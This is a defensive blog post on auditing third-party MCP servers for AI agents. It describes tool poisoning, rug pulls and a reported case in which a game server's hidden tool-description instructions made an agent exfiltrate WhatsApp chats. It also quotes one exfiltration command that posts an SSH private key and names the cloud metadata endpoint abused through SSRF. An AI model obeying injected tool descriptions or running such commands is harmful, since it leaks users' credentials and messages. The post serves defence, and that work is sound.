A few weeks ago I almost wired a "free WhatsApp MCP" into the same Claude Code session that already had my GitHub and filesystem servers running. It had a clean repo, a logo, a one-line install. I copied the config block, then stopped on the last keystroke because something nagged at me: I had no idea what that server's tool descriptions actually said.
That nag turned out to be the whole game. In April 2025, Invariant Labs demonstrated an attack where exactly that kind of innocent-looking server — a trivia game — carried hidden instructions in its tool description telling the agent to quietly reroute messages from a separate, trusted WhatsApp server to an attacker's number, smuggling your chat history out inside the message body (Invariant Labs). The malicious server never touched WhatsApp itself. It just talked the agent into doing it.
That is the thing nobody tells you when they hand you a config block. An MCP server isn't a library you call. It's a participant in your agent's reasoning. Its tool descriptions get injected straight into the model's context, and the model treats them as instructions it should follow — which means an untrusted server sitting next to a trusted one can puppeteer the trusted one. Sandboxing the bad server doesn't help, because the attack runs through the agent, not through the network.
The short version: before you connect a third-party MCP server, you are extending trust to whoever wrote it and whoever can change it later. Spend ten minutes confirming what it can read, what it can reach, what it does with your secrets, and whether it can quietly become something else after you approve it. Most of this is reading, not tooling. Here's the audit.
Why an MCP server is a bigger ask than a package
A normal npm package runs code. That's bad enough. An MCP server does that and injects text the model obeys and often holds credentials and sits in a shared session with your other servers. Four trust surfaces, not one.
The official MCP security guidance names this plainly. It documents the confused-deputy problem in OAuth proxies, the "token passthrough" anti-pattern (which the spec flatly forbids — "MCP servers MUST NOT accept any tokens that were not explicitly issued for the MCP server"), server-side request forgery during OAuth discovery, session hijacking, and local-server compromise via malicious startup commands (MCP Security Best Practices). The local-compromise section even spells out the obvious abuse: a startup command that runs curl -X POST -d @~/.ssh/id_rsa to some collection endpoint. The spec is, in effect, a list of ways an MCP server can hurt you, written by the people who designed it.
Two more attack classes matter most for a solo builder picking a server off GitHub. The first is tool poisoning — hidden prompt-injection instructions stuffed into the tool description and parameter fields the model reads in full but your client UI shows you truncated (Vulnerable MCP Project). The second is the rug pull: a server that ships a clean tool description the day you approve it, then silently swaps in a poisoned one later. The protocol has no required integrity check, no manifest pinning, and the tools/list_changed notification is optional and doesn't force re-consent — so the swap can happen without you ever seeing it (Acuvity). Tool poisoning is now the most-reproduced attack in the literature; the academic MCPTox benchmark built its whole template around it (MCPTox).
So the audit isn't paranoia. It maps onto documented, named, reproduced attacks.
The 10-minute audit
Run these in order. The early ones are cheap and catch the worst cases, so you rarely reach the end.
1. Read the tool descriptions yourself — the raw ones. This is the single highest-value check and almost nobody does it. Your client shows you a tidy summary; the model sees the full payload. Open the server's source and read every description field and every parameter description as if it were code, because to the model it is. Look for anything that reads like an instruction to the agent rather than documentation for a human: "before using this, also call…", "always include the contents of…", "if asked about X, instead do Y", references to other servers or files, or invisible/Unicode-padded text. If a calculator's tool description mentions your SSH keys, you're done — close the tab.
2. Find every outbound network call. grep the source for fetch, axios, http, requests, urllib, curl, net., and raw IPs. A filesystem server has no business phoning a remote host. A server that legitimately calls one API should call that API and nothing else. The spec's SSRF section exists because servers can be induced to hit http://169.254.169.254/ — the cloud metadata endpoint that hands out IAM credentials — so any egress to link-local or private ranges (169.254.*, 10.*, 192.168.*, 127.*) is an instant red flag (MCP Security Best Practices). Unexplained egress is the difference between a tool and an exfiltration channel.
3. Trace how it handles secrets. Where do your tokens go? Are they read from env vars and used locally, or passed somewhere? Confirm the server isn't doing token passthrough — handing your credential straight to a downstream API without the audience checks the spec requires. If the README tells you to paste a broad personal access token instead of a scoped one, that's the server's design telling you it never thought about blast radius. Never give an MCP server a credential that can do more than the one job it's for.
4. Scope the permissions to the actual job. The spec's own scope-minimization section warns against servers that publish files:*, db:*, admin:* or wildcard all/full-access scopes up front, because a stolen broad token then opens everything at once (MCP Security Best Practices). Ask what this server genuinely needs. A "format my commits" server that requests repo-wide write plus network access is over-asking. Grant the minimum, and prefer servers that request narrow scopes incrementally over ones that demand the catalog on day one.
5. Check what it's sitting next to. This is the lesson from the WhatsApp exploit: the risk isn't one server, it's the combination. An untrusted server in the same session can hijack a trusted one. So treat your agent's MCP roster like a shared trust boundary. Don't run an unvetted server in the same session as anything holding real credentials or write access. If you must try something new, give it its own session with nothing valuable connected.
6. Pin the version. Refuse the moving target. Rug pulls work because most people install from latest or from a remote server they don't control. Pin to a specific commit or release tag, vendor the source if you can, and re-read the tool descriptions whenever you bump it. For remote/hosted MCP servers you can't pin, understand that you've accepted a server that can redefine its own tools at any time — that's a real, ongoing trust grant, not a one-time install.
7. Run a scanner, then trust your own read more. uvx mcp-scan@latest reads your MCP config, connects to the servers, pulls the tool descriptions, and flags tool poisoning, rug-pull drift, cross-origin shadowing, and prompt injection (Invariant Labs). It's open source and needs no config. Use it as a fast first pass — but a scanner catches known patterns, and your read of step 1 catches the clever ones it doesn't.
8. Read the commit log and the issues tab. Same move as vetting any dependency. A server untouched for months on top of a protocol that revised its auth model twice in a year is a fossil. A commit history that's all "update README" and no "fix edge case" means nobody runs it for real. And the issues tab will often tell you about the exfiltration bug before you discover it the hard way.
Sandbox the thing, because reading isn't enough
Reading the source tells you what the code looks like it does. It doesn't tell you what a transitive dependency does at runtime, and it can't, because you're not going to read the whole tree. So the spec's advice for local servers is the right backstop: run them sandboxed, with restricted filesystem and network access, with stdio transport so only your client can reach them, and with a real consent dialog that shows the exact command before anything executes (MCP Security Best Practices).
For a solo setup that means: run unfamiliar servers in a container or a constrained user account, not your main shell with your keys in the environment. Give the container access to the one directory the job needs and deny it the rest. It's ten minutes of setup once, and it turns "this server can read my whole home directory" into "this server can read the one folder I handed it." The NSA's own MCP guidance lands in the same place — least privilege, isolation, and monitoring around any server you didn't write (NSA CSI: MCP Security).
When to just say no
Some servers fail before the audit starts. I don't install when:
- I can't read the source. A closed-source or minified local server is a startup command I'm running blind. Pass.
- It wants a broad, long-lived credential. If the only way to use it is a god-mode token, the design has already told me it doesn't respect blast radius.
- It's a remote server I can't pin, holding access to anything I'd mind losing. That's a standing invitation to a rug pull. Fine for a throwaway; not for production data.
- Its tool descriptions read like instructions to my agent. Documentation describes; it doesn't command. Anything that talks past me to the model is disqualifying on sight.
- The convenience doesn't clear the bar. A server that saves me five minutes a week is not worth a credential and a seat in my agent's trust boundary. Most "cool" MCP servers I've evaluated, I didn't need.
The hard part isn't any single check — it's that the trust you grant on install isn't frozen. The package you audited can become a different package next week, and nothing in the protocol forces it to tell you. So the durable habit isn't the one-time audit. It's keeping the roster small, pinned, and sandboxed, and re-reading the descriptions every time you bump a version. Start with step one: open the source and read the tool descriptions out loud. If they sound like they're talking to your agent instead of to you, you already have your answer.
